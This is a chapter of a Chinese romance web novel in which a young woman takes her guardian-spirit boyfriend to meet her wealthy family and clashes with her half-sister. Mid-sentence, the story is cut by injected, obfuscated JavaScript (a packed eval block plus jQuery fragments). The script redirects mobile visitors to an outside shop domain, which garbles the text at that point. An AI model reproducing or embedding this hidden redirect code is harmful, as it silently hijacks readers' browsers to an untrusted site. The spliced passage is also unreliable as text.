第二天一早,守夜从公寓那张大床上醒来的时候,身边的位置已经空了,但被子还留着一点凉意——他人形的体温本来就低,躺过的地方像被海水浸过,有种潮湿的清冷。
她翻了个身,看见床头柜上放着杯温水,杯底压了张便签纸,字迹是她熟悉的——笔画干净利落,横竖都带点棱,像他这个人。
「早餐在锅里。粥,不要挑葱。——我去研究院交个材料,十点回来接你。今天回守家。」
守夜盯着那张便签看了几秒,然后翻了个白眼,把纸对折塞进枕头底下。粥她喝了,葱花也挑了,洗完澡换好衣服坐在沙发上等他回来的时候,电视开着,但她一个字也没看进去。
昨晚那场不算争吵的争吵,像一根细刺卡在喉咙里——吞不下去,也吐不出来。他没有道歉,她也没有让步。最后两个人背对背躺着,中间隔了一道拳头的距离,谁都没有先翻过身去。半夜她迷迷糊糊感觉到他往她这边挪了挪,凉凉的指尖搭在她腰侧,试探性地停了一下。她没有动,他也就没有下一步动作,那只手在她腰侧搁了片刻,又收了回去。
今天早上起来,两个人之间那层薄薄的冰还在。不厚,但也没化。
十点整,门锁响了。无眠推门进来,银发今天没有束,松松地垂在肩前,穿了一件浅灰色的薄衬衫,袖口卷到小臂,露出一截冷白的手腕。他看见她坐在沙发上,目光在她身上停了一瞬——她今天穿了一条浅蓝色的连衣裙,收腰,裙摆到膝盖上方一点,款式很简单,领口缀了一排细小的珍珠扣子,衬得她整个人柔和了不少,不像昨晚那个穿着亮片裙、浑身是刺的守家四小姐。
“……好了?”他问。
“好了。”她站起来,拎起沙发上的小挎包,从他身边走过去的时候没有停顿,但他很自然地伸出手,握住了她的手腕,然后手指滑下去,跟她十指相扣。
她没挣开,但也没有回握。只是任他牵着,像牵一件需要携带的物品。
两个人就这样出了门。
电梯里谁都没说话。轿厢壁映出他们的倒影——他比她高一截,银发垂下来扫过她耳际,她目视前方,表情淡淡的。牵在一起的那只手悬在两人之间,像一座小小的、没人愿意先迈上去的桥。
守家今天难得热闹。
守绝伦一大早就让厨房加了菜,林远亲自去花房剪了几枝绣球插在客厅的花瓶里,连平时不怎么下楼的守家老爷子都让人推着在客厅坐了一会儿,说是“看看小四带回来的人”。守夜一进门就感受到了这股精心准备的阵仗——她爸穿着家居服但换了块表,她妈头发重新卷过,连茶几上摆的水果都是进口超市那家贵得要命的。
她心里很清楚,这份隆重不是冲她来的,是冲“守家四小姐第一次带男朋友上门”这个名头来的。她是一个载体,一个环节,一个“守家终于把女儿嫁出去了”的社交新闻预览版。
但她没有把这话说出口。
无眠跟在她身后半步的位置,进门的时候微微颔首,姿态得体,既不过分热络也不失礼。他今天没有穿西装,浅灰衬衫配黑裤,银发垂着,整个人看起来不像那个在研究院让人敬畏三分的“澜老师”,倒像一个普通的、陪女朋友回家的年轻人——如果他不是两米高、银头发、长着一张让人移不开眼的脸的话。
守绝伦第一个迎上来,满面红光,伸手跟无眠握了握:“澜老师!终于见面了,守夜常提起你——”
“爸,”守夜在旁边不咸不淡地纠正,“你上周才见过他,在海洋楼揭幕宴上。”
“呃——是吗?”守绝伦愣了一下,随即哈哈大笑,“年纪大了记性不好!澜老师别介意,来来来,坐坐坐!”
林远从厨房端了盘水果出来,她今天穿了一件藕荷色的针织衫,头发松松地挽在脑后,虽然年过五十,但底子是韩国顶级女明星出身,站在那里依然有种和这个中式客厅格格不入的精致感。她的中文带着一点软糯的口音,不重,反而显得温柔:“澜老师,喝茶还是咖啡?我让阿姨给你泡。”
“阿姨您好,茶就好,谢谢。”无眠站起来接话,礼貌但不过分殷勤。
林远笑了笑,目光在他和守夜之间转了一圈,没有多说,转身去吩咐阿姨泡茶。
一家人落了座。守绝伦坐在主位上,林远在旁边,守凌云窝在单人沙发里刷手机,偶尔抬眼瞥一下无眠,目光里带着一种说不清道不明的打量。守灼见坐在餐厅那边的高脚凳上剥橘子,一副“我看戏”的姿态,完全没有要过来帮忙圆场的意思。
“守夜这孩子,从小就不爱跟我们说学校的事,”守绝伦笑着开口,“澜老师跟她是怎么认识的?听说是研究院那边——”
“嗯,她来研究院找人,碰上的。”无眠回答得简洁,但信息量刚好够社交场合使用,不多不少,“后来加了联系方式,慢慢熟了。”
“哦——缘分缘分!”守绝伦连连点头,“我们守夜眼光高,能让她看上的人,那肯定是不一般的。”
守夜在旁边端起茶杯喝了一口,没有接话。她不想配合这场“其乐融融”的表演,但也懒得拆台。
守凌云忽然从手机后面抬起头,笑了一下,语气带着那种她特有的、似酸非酸的调子:“姐姐眼光确实好。我也想找一个这样的男朋友,又帅又有学问,还在研究院工作——说出去多有面子啊。”
客厅里安静了一瞬。
守夜放下茶杯,抬眼看向守凌云,嘴角挂着一个极淡的笑,声音不大,但每个字都清清楚楚:“你成年了,找什么样的男朋友是你自己的事。不过有一点我得提醒你——豪门的千金,给别人做三,传出去很难堪的。”
守凌云的笑容僵在脸上。
“守夜。”守绝伦赶紧出声,语气带着警告但不敢太重,“说什么呢,妹妹还小——”
“她不小了。”守夜打断他,语气平静得像在陈述天气预报,“成年了,该懂的都懂。我只是提前帮她避个坑,免得以后闹出什么事,丢的是守家的脸。”
守凌云的脸一阵红一阵白,手机也不刷了,攥在手里指节发白。林远适时地站起来,笑着打圆场:“好了好了,难得一家人聚在一起,别说那些有的没的。澜老师,尝尝这个桂花糕,家里阿姨做的,守夜小时候最爱吃这个——”
守夜听见“小时候”三个字,睫毛轻轻动了一下,但没有说话。
无眠接过林远递来的桂花糕,道了声谢,但没有立刻吃。他偏头看了一眼守夜——她坐在沙发扶手上,离他半个身位的距离,脊背挺得很直,姿态是完美的,但那种“完美”本身就是一种防御。
他在心里叹了口气。
午饭吃得还算平稳。守绝伦聊了几句海洋楼的事,又问了问无眠在研究院的研究方向,无眠一一作答,不卑不亢。林远偶尔插几句话,问守夜最近功课紧不紧、要不要让家里阿姨炖点汤送到公寓去。守夜一一应着,语气不冷不热,像在执行一项名为“回家吃饭”的任务。
守凌云整顿饭都没怎么再说话,埋头扒饭,偶尔抬眼飞快地扫一下守夜和无眠,目光复杂。
守灼见坐在餐桌对角,从头到尾没参与任何一次交锋,只是安静地吃他的饭,偶尔在守夜怼完守凌云的时候嘴角微微翘一下,像在憋笑。
饭后,守绝伦提议让无眠去书房看看他收藏的几幅字画,无眠看了守夜一眼,守夜点了点头:“去吧,我坐会儿。”
等无眠跟着守绝伦上楼了,客厅里安静下来。林远收拾着茶几上的果盘,犹豫了一下,在守夜身边坐下。
“……他对你挺好的。”林远轻声说,中文带着那点软糯的口音,“看你的眼神,很温柔。”
守夜没有立刻接话。她低头看着自己指尖,沉默了几秒,才开口:“妈,你不用因为觉得亏欠我,就对我男朋友格外宽容。他好不好,我自己会判断。”
林远的手顿了一下。她没有反驳,只是轻轻叹了口气,把那碟桂花糕往守夜手边推了推:“妈妈不是因为他才说好。妈妈是看你跟他在一起的时候,跟在家里不一样。”
守夜抬眼。
“你在家里,总是绷着的。”林远看着她,目光里有种很淡的、几乎看不出来的心疼,“但跟他在一起的时候,你肩膀是松的。”
守夜没有回答。
她拿起一块桂花糕咬了一口,甜味在舌尖化开,和周奶奶做的那种不太一样——周奶奶的桂花糕偏干,桂花放得多,咬下去满口都是秋天的味道;家里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759338|209579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
桂花糕做得精细,口感绵密,甜味也含蓄,像这个家给人的感觉一样,什么都妥帖,什么都不够烫。
她吃完那块桂花糕,拍了拍指尖的碎屑,站起来:“我上去看看他。”
林远在身后轻轻“嗯”了一声,没有拦她。
二楼走廊很安静。守夜走到书房门口,门虚掩着,里面传来守绝伦兴致勃勃的声音:“……这幅是启功先生的真迹,早年拍卖会上收的——”
她没推门进去。她靠在走廊的墙上,低头看着自己浅蓝色裙摆上的一道细微褶皱,发了一会儿呆。
过了一会儿,门开了。无眠从书房里出来,看见她靠在走廊墙上,微微怔了一下,然后反手带上门,走到她面前。
“你爸还在里面欣赏字画,”他说,“我说去洗手间,偷跑出来的。”
守夜没忍住,嘴角弯了一下,又迅速压平。
“你倒是会找借口。”
“跟你学的。”他看着她,水蓝色的眼睛里有一点很淡的笑意,“你每次在守家待不下去了,就说去洗手间,一去就是二十分钟。”
“……你观察得倒仔细。”
“我是守护神,”他说,“守护神的职责之一,就是记住主人的所有逃跑路线。”
守夜终于没绷住,笑了一下,虽然很浅,但比刚才那些社交性的笑容真了很多。无眠看着她那个笑,心里某根绷了一晚上的弦稍稍松了半寸。他没有再说什么,只是伸出手,握住了她的手。这一次,她回握了。
虽然只是轻轻勾了一下他的手指,但够了。
下午两点,守夜和无眠准备离开。守绝伦挽留他们吃晚饭,守夜说下午还有事,改天再来。林远送他们到门口,往守夜手里塞了一袋打包好的桂花糕,又看了无眠一眼,轻声说:“下次来,阿姨给你做参鸡汤。”
无眠点头:“谢谢阿姨,我一定来。”
车门关上,车子驶出守家大门。守夜靠在副驾座上,看着后视镜里越来越远的守家别墅,长长地呼出一口气,像憋了一整天终于可以呼吸了。
“我妈挺喜欢你的。”她说。
守夜顿了顿,“她对我好,是因为她觉得亏欠我。她总觉得,当年如果不是她没看好我,我不会被抱走。”
无眠没有接话。车子拐过一个弯,他单手扶着方向盘,另一只手伸过来,很自然地覆在她手背上,没有握紧,只是覆着。
“你今天表现不错,”守夜偏头看他,“没给我丢人。”
“你也没给我丢人。”他说,“除了你怼你妹那一段稍微有点锋利,其余部分堪称豪门千金社交典范。”
“那一段是必要的,”守夜理直气壮,“她不酸那一下,我也不会怼她。她自己找的。”
无眠嘴角弯了一下,没有反驳。
车子往旧城区的方向驶去。窗外的景色从别墅区的绿荫切换到老城区的街巷,路边开始出现晾着衣服的阳台和一楼开着门的小卖部。守夜看着窗外,忽然开口:
“无眠。”
“嗯。”
“昨天晚上那件事——我没有原谅你。我只是暂时不跟你吵了。”
无眠的手指在方向盘上轻轻收紧了半秒,又松开。
“……我知道。”他说,“不急。”
守夜没有再说话,但她也没有把手从他手底下抽走。
车子在莞淀公寓楼下停稳的时候,守夜解开安全带,偏头看了他一眼:“你在楼下等我?”
“嗯。我进不去,但我在外面守着。”他顿了顿,“如果有任何不对劲——你喊我,我能听见。”
守夜点了点头,推开车门,又回头看了他一眼。
“如果我很久没下来呢?”
无眠看着她,水蓝色的眼睛里有一种很安静的、像深海一样的笃定:“那我就一直等。”
守夜没有回答。她关上车门,拎着那袋桂花糕,走进了那栋旧城区灰扑扑的居民楼。
高跟鞋的声音在楼道里一级一级地往上,越来越远,直到消失在七楼的拐角。
无眠坐在车里,看着那扇黑着的窗户,手插在裤袋里,指腹无意识地摩挲着那几片今早在枕边捡到的鳞片。冰蓝色的,边缘泛着极淡的银光。